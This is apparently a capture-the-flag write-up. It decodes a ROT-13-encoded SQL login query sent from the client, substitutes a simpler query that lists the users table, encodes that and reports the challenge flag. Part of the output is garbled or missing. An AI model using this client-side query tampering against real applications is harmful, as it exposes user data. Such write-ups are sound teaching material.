

```
FRYRPG `anzr` SEBZ `hfref` JURER `anzr` = 'n' NAQ `cnffjbeq` = ZQ5('o')
```

This is a ROT-13-encoded SQL query. Let's decode it using rot:

```
$ rot -n 13 'FRYRPG `anzr` SEBZ `hfref` JURER `anzr` = 'n' NAQ `cnffjbeq` = ZQ5('o')'
SELECT `name` FROM `users` WHERE `name` = a AND `password` = MD5(b)
```

Since we don't know any username or password, let's simplify this query a little bit:

```
SELECT `name` FROM `users`
```

This ROT-13-encodes into:

```
$ rot -n 13 'SELECT `name` FROM `users`'
FRYRPG `anzr` SEBZ `hfref`
```

After URL-encoding, this becomes:

FRYRPG%20%60anzr%60%20SEBZ%20%60hfref%60

Let's make the request:

</html>

The flag is flag{nobody_needs_server_side_validation} .

Other write-ups and resources

• Exploit in Bash by @TheJH

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